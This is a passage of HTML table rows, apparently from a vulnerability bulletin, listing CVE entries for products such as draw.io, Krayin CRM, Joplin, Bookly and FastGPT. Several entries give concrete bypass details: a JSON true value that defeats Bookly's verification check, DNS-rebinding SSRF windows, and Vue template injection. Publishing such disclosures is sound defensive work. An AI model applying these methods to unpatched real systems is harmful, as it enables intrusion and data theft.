&lt;td class=&quot;vendor-product&quot;&gt;isotope--isotope-core&lt;/td&gt;
&lt;td&gt;Isotope eCommerce through 2.9.10 derives order identifiers from uniqid() instead of a cryptographically secure source, allowing unauthenticated attackers to guess identifiers. Guest orders lack ownership verification, enabling attackers to access order details including billing address, customer information, and purchased files by supplying a guessed uid parameter.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96599&quot; target=&quot;_blank&quot;&gt;CVE-2026-96599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;isotope--isotope-core&lt;/td&gt;
&lt;td&gt;Isotope eCommerce through 2.9.10 contains a blind SQL injection vulnerability in backend callbacks that interpolate request-controlled identifiers and administrator-supplied values directly into SQL statements. Authenticated Contao backend users with Isotope module permissions can exploit conditional and time-based injection payloads to extract arbitrary database contents including user password hashes from the tl_user table.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96600&quot; target=&quot;_blank&quot;&gt;CVE-2026-96600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in itsourcecode Leave Management System 1.0. Impacted is an unknown function of the file /module/leavetype/index.php. This manipulation of the argument ID causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95833&quot; target=&quot;_blank&quot;&gt;CVE-2026-95833&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jegstudio--Gutenverse WordPress Blocks, Page Builder &amp;amp; Site Editor&lt;/td&gt;
&lt;td&gt;The Gutenverse - WordPress Blocks, Page Builder &amp;amp; Site Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Post Comment Block &#039;suffixMain&#039; Attribute in all versions up to, and including, 4.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress core wp_kses_post sanitization does not mitigate this vulnerability because the payload is stored inside a Gutenberg block delimiter comment rather than as a raw HTML tag, and is only rendered as exploitable HTML at the PHP render stage.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92746&quot; target=&quot;_blank&quot;&gt;CVE-2026-92746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jetmonsters--Getwid Gutenberg Blocks&lt;/td&gt;
&lt;td&gt;The Getwid - Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Google Maps block&#039;s &#039;customStyle&#039; attribute in all versions up to, and including, 2.1.3. This is due to the use of eval() on user-controlled block content in the frontend JavaScript mapStyles() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5924&quot; target=&quot;_blank&quot;&gt;CVE-2026-5924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jetmonsters--JetFormBuilder Dynamic Blocks Form Builder&lt;/td&gt;
&lt;td&gt;The JetFormBuilder - Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via &#039;jfb_xss&#039; (URL Query Variable) Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires the targeted page to host a form configured with both a URL Query Variable preset field and a Calculated Field that references it, which are standard plugin features.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92212&quot; target=&quot;_blank&quot;&gt;CVE-2026-92212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgraph--drawio&lt;/td&gt;
&lt;td&gt;draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.5, opening or importing a crafted .drawio file can execute attacker-controlled JavaScript in the draw.io origin when selected cells are processed by TextFormatPanel.addFont() in src/main/webapp/js/grapheditor/Format.js. An HTML sibling cell keeps the formatted-label path enabled while an editable=0 plain-text sibling is excluded from the merged selection style but remains in the iteration set. graph.cellRenderer.getLabelValue() returns that plain-text label without HTML encoding, and mxUtils.canConvertHtmlToSvg() parses it as HTML, bypassing the earlier CVE-2026-46642 remediation. Successful exploitation can expose diagram data, browser storage, non-HttpOnly cookies, and same-origin actions available to the victim. This issue is fixed in version 30.2.5.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58504&quot; target=&quot;_blank&quot;&gt;CVE-2026-58504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgraph--drawio&lt;/td&gt;
&lt;td&gt;draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, deployments with ENABLE_DRAWIO_PROXY=1 are vulnerable to server-side request forgery because src/main/java/com/mxgraph/online/Utils.java performs the private-address check in Utils.sanitizeUrl() using one DNS resolution, while src/main/java/com/mxgraph/online/ProxyServlet.java later calls URL.openConnection() and performs a second resolution. An attacker-controlled hostname can resolve to a public address during validation and then to a private, link-local, or cloud metadata address when the connection is opened. Successful exploitation can return cloud instance metadata or responses from internal HTTP services through the proxy. This issue is fixed in version 30.2.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63334&quot; target=&quot;_blank&quot;&gt;CVE-2026-63334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgraph--drawio&lt;/td&gt;
&lt;td&gt;draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, the OAuth callback handler in src/main/java/com/mxgraph/online/AbsAuth.java skips comparison of stateToken and cookieToken whenever IS_GAE is false, which affects self-hosted Docker and WAR deployments. An attacker can provide an authorization code for the attacker&#039;s cloud-storage identity and induce a victim to visit a callback URL, causing the victim&#039;s draw.io session to become authenticated as the attacker identity without a valid state binding. The shared handler affects Google Drive, OneDrive, GitHub, GitLab, and Dropbox integrations. The victim can then unknowingly perform cloud-storage actions under the attacker&#039;s identity, causing session integrity loss and misattribution, but the identity binding does not itself grant access to existing victim cloud files. This issue is fixed in version 30.2.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63373&quot; target=&quot;_blank&quot;&gt;CVE-2026-63373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jhen0409--react-native-debugger&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in jhen0409 react-native-debugger up to 0.14.0. The impacted element is the function openDevTools of the file electron/window.js of the component Open in Editor Handler. The manipulation of the argument host results in os command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97366&quot; target=&quot;_blank&quot;&gt;CVE-2026-97366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 fails to redact password hashes in the /user/info endpoint, allowing authenticated users to retrieve unsalted MD5 password digests for any user. Attackers can request arbitrary user information by supplying user IDs to obtain password hashes usable for offline cracking or direct authentication bypass.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94413&quot; target=&quot;_blank&quot;&gt;CVE-2026-94413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 is missing an authorization check on the POST /userBusiness/updateBtnStr endpoint that allows authenticated users to modify role button-permission definitions. Attackers can supply arbitrary roleId and btnStr parameters to overwrite button-permission configurations for any role in the tenant without privilege validation.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94414&quot; target=&quot;_blank&quot;&gt;CVE-2026-94414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 contains a tenant isolation bypass vulnerability that allows authenticated users to read other tenants&#039; records via the GET /tenant/info endpoint. Attackers can iterate the primary key to enumerate and access sensitive tenant data including login names, validity dates, user quotas, and enabled state across all platform tenants.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94494&quot; target=&quot;_blank&quot;&gt;CVE-2026-94494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jline--jline3&lt;/td&gt;
&lt;td&gt;JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in nano editor&#039;s regex search mode passes a user-controlled search term from doSearch(String text) in builtins/src/main/java/org/jline/builtins/Nano.java to Java&#039;s backtracking regular expression engine without a timeout or backtracking bound. A nested-quantifier expression evaluated against non-matching buffer content can consume excessive CPU and indefinitely block the editor session thread, and remote multi-user deployments can lose a worker thread for each affected session. This issue is fixed in versions 3.30.15 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77421&quot; target=&quot;_blank&quot;&gt;CVE-2026-77421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jline--jline3&lt;/td&gt;
&lt;td&gt;JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, DefaultHistory.matchPatterns(String patterns, String line) in reader/src/main/java/org/jline/reader/impl/history/DefaultHistory.java converts the HISTORY_IGNORE configuration value into a Java regular expression while escaping only part of its syntax, allowing other regex metacharacters to reach the backtracking engine. An attacker who can control application or user configuration can supply a nested-quantifier expression that is reevaluated whenever a command is added to history, consuming excessive CPU and indefinitely blocking the reader thread. This issue is fixed in versions 3.30.15 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77420&quot; target=&quot;_blank&quot;&gt;CVE-2026-77420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joniles--mpxj&lt;/td&gt;
&lt;td&gt;MPXJ is an open source library to read and write project plans from a variety of file formats and databases. From 7.3.0 until 16.5.0, reading a suitably crafted Primavera P3 PRX or SureTrak STX file can cause MPXJ to write files to arbitrary locations in the filesystem. This issue is fixed in version 16.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65829&quot; target=&quot;_blank&quot;&gt;CVE-2026-65829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jordy Meow--AI Engine&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object References (IDOR) in AI Engine &amp;lt;= 3.7.8 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93623&quot; target=&quot;_blank&quot;&gt;CVE-2026-93623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kamleshyadav--Handily&lt;/td&gt;
&lt;td&gt;The Handily plugin for WordPress is vulnerable to unauthorized payment settings modification due to missing authorization checks in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to modify Stripe payment configuration settings, including publishable keys, secret keys, email addresses, success URLs, and cancel URLs via the payment settings parameters. This could allow attackers to redirect payments to their own Stripe accounts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14487&quot; target=&quot;_blank&quot;&gt;CVE-2025-14487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kamleshyadav--Image Buzz&lt;/td&gt;
&lt;td&gt;The Image Buzz plugin for WordPress is vulnerable to unauthorized API key modification due to missing authorization checks in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to modify arbitrary API keys (Pixabay, Unsplash, Pixels) configured by site administrators via the &#039;pixabay_api&#039;, &#039;unsplash_api&#039;, or &#039;pixels_api&#039; parameters.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14484&quot; target=&quot;_blank&quot;&gt;CVE-2025-14484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kamleshyadav--PixelPlay&lt;/td&gt;
&lt;td&gt;The PixelPlay plugin for WordPress is vulnerable to unauthorized API key deletion due to missing authorization checks in all versions up to, and including, 1.0.2. This makes it possible for unauthenticated attackers to delete arbitrary API keys (Pixabay, Unsplash, Pixels, OpenAI) configured by site administrators via the &#039;clear_api_type&#039; parameter.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14486&quot; target=&quot;_blank&quot;&gt;CVE-2025-14486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A flaw has been found in Krayin laravel-crm up to 2.2.5. The affected element is an unknown function of the file packages/Webkul/Admin/src/Config/acl.php. Executing a manipulation can lead to improper access controls. The attack can be launched remotely. The exploit has been published and may be used. Upgrading to version 2.2.6 is sufficient to fix this issue. This patch is called a399404a388d8ad2700a01349d0d98069c8e85a4. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100883&quot; target=&quot;_blank&quot;&gt;CVE-2026-100883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Krayin laravel-crm up to 2.2.5. The impacted element is the function Storage::download of the file packages/Webkul/Admin/src/Config/acl.php of the component attachment-download Endpoint. The manipulation of the argument ID leads to improper control of resource identifiers. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.2.6 is sufficient to resolve this issue. The identifier of the patch is 13d6988cda8d69ece45ee1890effc90a7f21cdc1. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100884&quot; target=&quot;_blank&quot;&gt;CVE-2026-100884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in krayin laravel-crm up to 2.2.5. This affects an unknown part of the file packages/Webkul/Admin/src/Http/Controllers/Settings/UserController.php of the component User Management. Executing a manipulation of the argument role_id can lead to improper privilege management. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.2.6 is able to mitigate this issue. This patch is called 5469d70336fbb25e8e513683e82b32982ce8aa82. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97895&quot; target=&quot;_blank&quot;&gt;CVE-2026-97895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users&#039; browsers by injecting Vue.js template expressions into the lead title field. Attackers can craft a lead title containing double-brace template syntax that reaches the Vue template compiler, enabling prototype chain traversal to retrieve the Function constructor and execute attacker-supplied JavaScript in the application origin for every user who views the affected lead record.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48540&quot; target=&quot;_blank&quot;&gt;CVE-2026-48540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users&#039; browsers by injecting Vue.js template expressions into the person name field. Attackers can craft a person name containing double-brace template syntax that reaches the Vue template compiler, enabling prototype chain traversal to retrieve the Function constructor and execute attacker-supplied JavaScript in the application origin for every user who views the affected person record.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48541&quot; target=&quot;_blank&quot;&gt;CVE-2026-48541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users&#039; browsers by injecting Vue.js template expressions into the product name field. Attackers can craft a product name containing double-brace template syntax that reaches the Vue template compiler, enabling prototype chain traversal to retrieve the Function constructor and execute attacker-supplied JavaScript in the application origin for every user who views the affected product record.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48542&quot; target=&quot;_blank&quot;&gt;CVE-2026-48542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users&#039; browsers by injecting Vue.js template expressions into the web form description field. Attackers can craft a web form description containing double-brace template syntax that reaches the Vue template compiler, enabling prototype chain traversal to retrieve the Function constructor and execute attacker-supplied JavaScript in the application origin for every user who views the affected web form.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48543&quot; target=&quot;_blank&quot;&gt;CVE-2026-48543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubeedge--kubeedge&lt;/td&gt;
&lt;td&gt;KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.0.0 until 1.21.2, 1.22.2, and 1.23.1, Reader.Read in pkg/viaduct/pkg/packer trusts the 32-bit PackageHeader.PayloadLen received through the CloudHub viaduct message-processing path and allocates that amount of memory before validating an upper bound. An authenticated malicious or compromised edge peer can repeatedly send crafted headers with excessive declared lengths, causing memory exhaustion, CloudHub process termination or restart loops, and temporary disruption of cloud-edge communication. This issue does not provide unauthenticated access or direct code execution. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62370&quot; target=&quot;_blank&quot;&gt;CVE-2026-62370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kvcache-ai--mooncake&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in kvcache-ai mooncake up to 0.3.12/0.3.13.post1/0.3.14-rc1. This issue affects the function ScopedSegmentAccess::MountSegment of the file segment.cpp of the component MountSegment Request Processing. Performing a manipulation results in improper access controls. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96763&quot; target=&quot;_blank&quot;&gt;CVE-2026-96763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kvcache-ai--mooncake&lt;/td&gt;
&lt;td&gt;A weakness has been identified in kvcache-ai mooncake up to 0.3.12/0.3.14-rc1. Impacted is the function MasterService::GetReplicaListByRegex of the component Regular Expression Handler. Executing a manipulation can lead to allocation of resources. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96764&quot; target=&quot;_blank&quot;&gt;CVE-2026-96764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;labring--FastGPT&lt;/td&gt;
&lt;td&gt;FastGPT is an open-source LLM platform for building AI applications on a knowledge base. Prior to 4.15.2, the safe Axios request interceptor in packages/service/common/api/axios.ts validates a hostname with isInternalAddress() before a later HTTP connection performs an independent DNS lookup, creating a DNS rebinding window, allowing an attacker-controlled hostname to resolve publicly during the check and to a loopback, private, link-local, or metadata address during connection. An authenticated attacker who can supply a URL to a safe-Axios-backed HTTP tool, workflow HTTP node, external file fetch, or other server-side integration can use this time-of-check/time-of-use gap to reach services that direct private-address inputs would block. The same independent re-resolution occurs after manual redirect hops because each redirect target is checked before a separate connection lookup. This issue is fixed in version 4.15.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84301&quot; target=&quot;_blank&quot;&gt;CVE-2026-84301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ladela--Online Scheduling and Appointment Booking System Bookly&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System - Bookly plugin for WordPress is vulnerable to Authorization Bypass via PHP Type Juggling in all versions up to, and including, 28.2. This is due to the `postValidateCustomer()` function using a loose PHP inequality operator (`!=`) to compare the session-stored one-time verification code against the attacker-supplied `verification_code` parameter - a flaw that is further exposed by the booking AJAX controller registering all its methods as `wp_ajax_nopriv_` handlers and unconditionally overriding `csrfTokenValid()` to return true, leaving the endpoint both unauthenticated and CSRF-unprotected. This makes it possible for unauthenticated attackers to bypass the phone/email ownership verification step and overwrite the name, email, phone, and address fields of any arbitrary existing Bookly customer record, redirecting that customer&#039;s booking notifications to attacker-controlled contact details. The bypass is achievable because the `json_data` input channel decodes input via `json_decode()`, which preserves real PHP types and causes the `wp_kses` filter to leave non-string values such as the JSON boolean `true` untouched; submitting `true` as the `verification_code` satisfies the loose comparison against the session&#039;s non-zero integer code (generated by `mt_rand(100000, 999999)`), causing `true != &amp;lt;non-zero int&amp;gt;` to evaluate as `false` and the guard to be bypassed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92799&quot; target=&quot;_blank&quot;&gt;CVE-2026-92799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server&#039;s GET /items/:id/content route in packages/server/src/routes/index/items.ts loads item content from an attacker-supplied internal server ID without checking whether the signed-in user owns or can access that item. Any authenticated user who obtains or guesses another user&#039;s item ID can read the corresponding note or item content when end-to-end encryption does not protect it. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55179&quot; target=&quot;_blank&quot;&gt;CVE-2026-55179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, isAcceptedUrl() in packages/renderer/htmlUtils.ts uses an unanchored regular expression for internal resource URLs, allowing a javascript: URL containing a matching 32-character path fragment to pass validation and be emitted into an HTML note&#039;s link. A low-privileged Joplin Server user can publish the crafted HTML note as a public share. In the current build, ordinary left-click is blocked; demonstrated execution requires middle-click or Open in new tab in an older or non-hardened browser because current Chrome and Firefox block javascript: new-tab navigation. When execution succeeds, the script runs in the Joplin Server origin, can read page-visible content, and can make authenticated same-origin requests when the victim is signed in. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46650&quot; target=&quot;_blank&quot;&gt;CVE-2026-46650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
